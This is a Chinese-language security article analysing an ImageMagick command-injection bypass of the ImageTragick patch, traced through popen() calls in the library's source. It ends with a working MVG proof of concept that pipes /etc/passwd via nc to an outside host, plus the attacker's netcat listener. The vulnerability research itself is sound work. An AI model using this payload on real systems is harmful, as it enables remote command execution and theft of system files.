频道栏目
首页 > 资讯 > 安全公告 > 正文

Imagetragick 补丁绕过再次命令执行

16-06-01        来源:[db:作者]  
收藏   我要投稿

之前在分析CVE-2016-3714的时候想,system()函数处理有问题,那么其他类似的有哪些函数呢?

下面是一个可以执行命令的函数列表:

 

system()popen()fork()+exec()execl()

 

那么搜索一下调用system()函数有哪些地方?经过搜索的话,最终只有CVE-2016-3714这个漏洞点调用到了一个system(). 那这么接下来搜索一下popen()函数调用点

文件:magick/blob.c:2503行

 

#if defined(SIGPIPE)      if (*type == 'w')        (void) signal(SIGPIPE,SIG_IGN);#endif      *mode=(*type);      mode[1]='\0';      image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);      if (image->blob->file_info.file == (FILE *) NULL)        {          ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);          return(MagickFalse);        }      image->blob->type=PipeStream;      image->blob->exempt=MagickTrue;            return(SetStreamBuffering(image_info,image));    }

 

我们可以看到有一个popen_utf8()函数.

跟进函数文件:magick/utility-private.h:173行

 

static inline FILE *popen_utf8(const char *command,const char *type){#if !defined(MAGICKCORE_WINDOWS_SUPPORT) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__MINGW64__)  return(popen(command,type));#else   FILE     *file;   wchar_t     *type_wide,     *command_wide;   command_wide=create_wchar_path(command);   if (command_wide == (wchar_t *) NULL)     return((FILE *) NULL);   type_wide=create_wchar_path(type);   if (type_wide == (wchar_t *) NULL)     {       command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);       return((FILE *) NULL);     }   file=_wpopen(command_wide,type_wide);   type_wide=(wchar_t *) RelinquishMagickMemory(type_wide);   command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);   return(file);#endif}

 

可以看见popen_utf8()直接return了popen()函数的值回来.

那么问题来了,谁调用了popen_utf8呢?

向上追溯代码可以看到是OpenBlob()函数调用了popen_utf8.继续查看谁调用了OpenBlob()

调用OpenBlob()

我们可以看到一堆地方调用到了OpenBlob(),看到一个眼熟的地方!

使用GDB反调会让眼熟的地方明显一点

流程图

可以看到流程中有constitute.c调用到OpenBlob().而之前分析的时候也经常看constitute.c,很明显会选择先看这个地方的调用有没有问题.

在constitute.c:448行

可以看到status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

status在imagemagick里面一般都是用MagickTrue或者MagickFalse作为最终的函数返回值的,知道这点就好了.

OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

在这个函数中image_info,image两个参数的值都是由我们传进去的.

OpenBlob函数先进行了Policy的检测

 

if (*type == 'w')    rights=WritePolicyRights;  if (IsRightsAuthorized(PathPolicyDomain,rights,filename) == MagickFalse)    {      errno=EPERM;      (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,        "NotAuthorized","`%s'",filename);      return(MagickFalse);    }

 

最重要的一段在如下代码

 

if (*filename == '|')   {     char       mode[MaxTextExtent];     /*       Pipe image to or from a system command.     */#if defined(SIGPIPE)     if (*type == 'w')       (void) signal(SIGPIPE,SIG_IGN);#endif     *mode=(*type);     mode[1]='\0';     image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);     if (image->blob->file_info.file == (FILE *) NULL)       {         ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);         return(MagickFalse);       }

 

因为*filename指向指针的第一个字符,如果第一个字符是|那么就调用popen_utf8()去打开文件.

所以我们要控制的就是|后面的字符.如果我们想要控制这里的filename就意味着我们需要传入的文件的名称|+你要执行的命令

经过测试这个是可以的,这个地方可以命令执行,但是万一要是上传的文件名字有限制|这个符号不让作为文件名的名字的话,那就挺别扭的.而且windows底下应该是不能用|作为文件的名字的,所以还是把payload写在文件里面比较好.

通过对imagemagick源码的浏览,并且查询imagemagick的官方文档.

官方文档

 

可以发现mvg有很多需要操作文件mvg内文件的原语,这些地方都是会调用到OpenBlob()

例如以下操作:

拷贝

填充

剪切

组合

覆盖

Poc使用image over这个原语.

那么Poc就出来了

1.mvg文件中

 

push graphic-contextviewbox 0 0 640 480image Over 0,0 0,0 '|cat /etc/passwd|nc lonelyrain.me 9999'pop graphic-context

 

然后attack的服务器运行nc -l 0.0.0.0 9999 > passwd

这个漏洞有兴趣的同学可以去再找一下其它玩法…

调用点

 

相关TAG标签
上一篇:Docker暴露2375端口,引起安全漏洞
下一篇:作案手段翻新 黑客盯上全球银行支付系统
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站